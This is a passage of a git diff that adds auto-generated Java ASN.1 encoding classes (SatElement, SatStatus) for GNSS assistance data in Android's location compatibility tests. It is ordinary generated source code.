+ this.deltaRangeRateCor3_ = (SatElement.deltaRangeRateCor3Type) value;
+ }
+ public SatElement.deltaRangeRateCor3Type setDeltaRangeRateCor3ToNewInstance() {
+ deltaRangeRateCor3_ = new SatElement.deltaRangeRateCor3Type();
+ return deltaRangeRateCor3_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatelliteID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatelliteID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatelliteIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satelliteID : "
+ + getSatelliteID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getIode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIode();
+ }
+
+ @Override public void setToNewInstance() {
+ setIodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatElement.iodeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "iode : "
+ + getIode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUdre() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUdre();
+ }
+
+ @Override public void setToNewInstance() {
+ setUdreToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatElement.udreType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "udre : "
+ + getUdre().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPseudoRangeCor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPseudoRangeCor();
+ }
+
+ @Override public void setToNewInstance() {
+ setPseudoRangeCorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatElement.pseudoRangeCorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pseudoRangeCor : "
+ + getPseudoRangeCor().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getRangeRateCor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRangeRateCor();
+ }
+
+ @Override public void setToNewInstance() {
+ setRangeRateCorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatElement.rangeRateCorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rangeRateCor : "
+ + getRangeRateCor().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getDeltaPseudoRangeCor2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDeltaPseudoRangeCor2();
+ }
+
+ @Override public void setToNewInstance() {
+ setDeltaPseudoRangeCor2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatElement.deltaPseudoRangeCor2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "deltaPseudoRangeCor2 : "
+ + getDeltaPseudoRangeCor2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getDeltaRangeRateCor2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDeltaRangeRateCor2();
+ }
+
+ @Override public void setToNewInstance() {
+ setDeltaRangeRateCor2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatElement.deltaRangeRateCor2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "deltaRangeRateCor2 : "
+ + getDeltaRangeRateCor2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getDeltaPseudoRangeCor3() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDeltaPseudoRangeCor3();
+ }
+
+ @Override public void setToNewInstance() {
+ setDeltaPseudoRangeCor3ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatElement.deltaPseudoRangeCor3Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "deltaPseudoRangeCor3 : "
+ + getDeltaPseudoRangeCor3().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getDeltaRangeRateCor3() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDeltaRangeRateCor3();
+ }
+
+ @Override public void setToNewInstance() {
+ setDeltaRangeRateCor3ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatElement.deltaRangeRateCor3Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "deltaRangeRateCor3 : "
+ + getDeltaRangeRateCor3().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class iodeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_iodeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public iodeType() {
+ super();
+ setValueRange("0", "239");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_iodeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_iodeType != null) {
+ return ImmutableList.of(TAG_iodeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new iodeType from encoded stream.
+ */
+ public static iodeType fromPerUnaligned(byte[] encodedBytes) {
+ iodeType result = new iodeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new iodeType from encoded stream.
+ */
+ public static iodeType fromPerAligned(byte[] encodedBytes) {
+ iodeType result = new iodeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "iodeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class udreType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_udreType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public udreType() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_udreType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_udreType != null) {
+ return ImmutableList.of(TAG_udreType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new udreType from encoded stream.
+ */
+ public static udreType fromPerUnaligned(byte[] encodedBytes) {
+ udreType result = new udreType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new udreType from encoded stream.
+ */
+ public static udreType fromPerAligned(byte[] encodedBytes) {
+ udreType result = new udreType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "udreType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class pseudoRangeCorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_pseudoRangeCorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public pseudoRangeCorType() {
+ super();
+ setValueRange("-2047", "2047");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_pseudoRangeCorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_pseudoRangeCorType != null) {
+ return ImmutableList.of(TAG_pseudoRangeCorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new pseudoRangeCorType from encoded stream.
+ */
+ public static pseudoRangeCorType fromPerUnaligned(byte[] encodedBytes) {
+ pseudoRangeCorType result = new pseudoRangeCorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new pseudoRangeCorType from encoded stream.
+ */
+ public static pseudoRangeCorType fromPerAligned(byte[] encodedBytes) {
+ pseudoRangeCorType result = new pseudoRangeCorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "pseudoRangeCorType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rangeRateCorType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rangeRateCorType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rangeRateCorType() {
+ super();
+ setValueRange("-127", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rangeRateCorType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rangeRateCorType != null) {
+ return ImmutableList.of(TAG_rangeRateCorType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rangeRateCorType from encoded stream.
+ */
+ public static rangeRateCorType fromPerUnaligned(byte[] encodedBytes) {
+ rangeRateCorType result = new rangeRateCorType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rangeRateCorType from encoded stream.
+ */
+ public static rangeRateCorType fromPerAligned(byte[] encodedBytes) {
+ rangeRateCorType result = new rangeRateCorType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rangeRateCorType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class deltaPseudoRangeCor2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_deltaPseudoRangeCor2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public deltaPseudoRangeCor2Type() {
+ super();
+ setValueRange("-127", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_deltaPseudoRangeCor2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_deltaPseudoRangeCor2Type != null) {
+ return ImmutableList.of(TAG_deltaPseudoRangeCor2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new deltaPseudoRangeCor2Type from encoded stream.
+ */
+ public static deltaPseudoRangeCor2Type fromPerUnaligned(byte[] encodedBytes) {
+ deltaPseudoRangeCor2Type result = new deltaPseudoRangeCor2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new deltaPseudoRangeCor2Type from encoded stream.
+ */
+ public static deltaPseudoRangeCor2Type fromPerAligned(byte[] encodedBytes) {
+ deltaPseudoRangeCor2Type result = new deltaPseudoRangeCor2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "deltaPseudoRangeCor2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class deltaRangeRateCor2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_deltaRangeRateCor2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public deltaRangeRateCor2Type() {
+ super();
+ setValueRange("-7", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_deltaRangeRateCor2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_deltaRangeRateCor2Type != null) {
+ return ImmutableList.of(TAG_deltaRangeRateCor2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new deltaRangeRateCor2Type from encoded stream.
+ */
+ public static deltaRangeRateCor2Type fromPerUnaligned(byte[] encodedBytes) {
+ deltaRangeRateCor2Type result = new deltaRangeRateCor2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new deltaRangeRateCor2Type from encoded stream.
+ */
+ public static deltaRangeRateCor2Type fromPerAligned(byte[] encodedBytes) {
+ deltaRangeRateCor2Type result = new deltaRangeRateCor2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "deltaRangeRateCor2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class deltaPseudoRangeCor3Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_deltaPseudoRangeCor3Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public deltaPseudoRangeCor3Type() {
+ super();
+ setValueRange("-127", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_deltaPseudoRangeCor3Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_deltaPseudoRangeCor3Type != null) {
+ return ImmutableList.of(TAG_deltaPseudoRangeCor3Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new deltaPseudoRangeCor3Type from encoded stream.
+ */
+ public static deltaPseudoRangeCor3Type fromPerUnaligned(byte[] encodedBytes) {
+ deltaPseudoRangeCor3Type result = new deltaPseudoRangeCor3Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new deltaPseudoRangeCor3Type from encoded stream.
+ */
+ public static deltaPseudoRangeCor3Type fromPerAligned(byte[] encodedBytes) {
+ deltaPseudoRangeCor3Type result = new deltaPseudoRangeCor3Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "deltaPseudoRangeCor3Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class deltaRangeRateCor3Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_deltaRangeRateCor3Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public deltaRangeRateCor3Type() {
+ super();
+ setValueRange("-7", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_deltaRangeRateCor3Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_deltaRangeRateCor3Type != null) {
+ return ImmutableList.of(TAG_deltaRangeRateCor3Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new deltaRangeRateCor3Type from encoded stream.
+ */
+ public static deltaRangeRateCor3Type fromPerUnaligned(byte[] encodedBytes) {
+ deltaRangeRateCor3Type result = new deltaRangeRateCor3Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new deltaRangeRateCor3Type from encoded stream.
+ */
+ public static deltaRangeRateCor3Type fromPerAligned(byte[] encodedBytes) {
+ deltaRangeRateCor3Type result = new deltaRangeRateCor3Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "deltaRangeRateCor3Type = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SatElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatStatus.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatStatus.java
new file mode 100755
index 0000000..659b03d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatStatus.java
@@ -0,0 +1,484 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SatStatus extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_SatStatus
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "SatStatus: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public SatStatus() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SatStatus;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SatStatus != null) {
+ return ImmutableList.of(TAG_SatStatus);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new SatStatus from encoded stream.
+ */
+ public static SatStatus fromPerUnaligned(byte[] encodedBytes) {
+ SatStatus result = new SatStatus();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SatStatus from encoded stream.
+ */
+ public static SatStatus fromPerAligned(byte[] encodedBytes) {
+ SatStatus result = new SatStatus();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $NewSatelliteAndModelUC(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new UncompressedEphemeris();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UncompressedEphemeris.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $OldSatelliteAndModel(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SatStatus.oldSatelliteAndModelType();
+ }
+
+ @Override
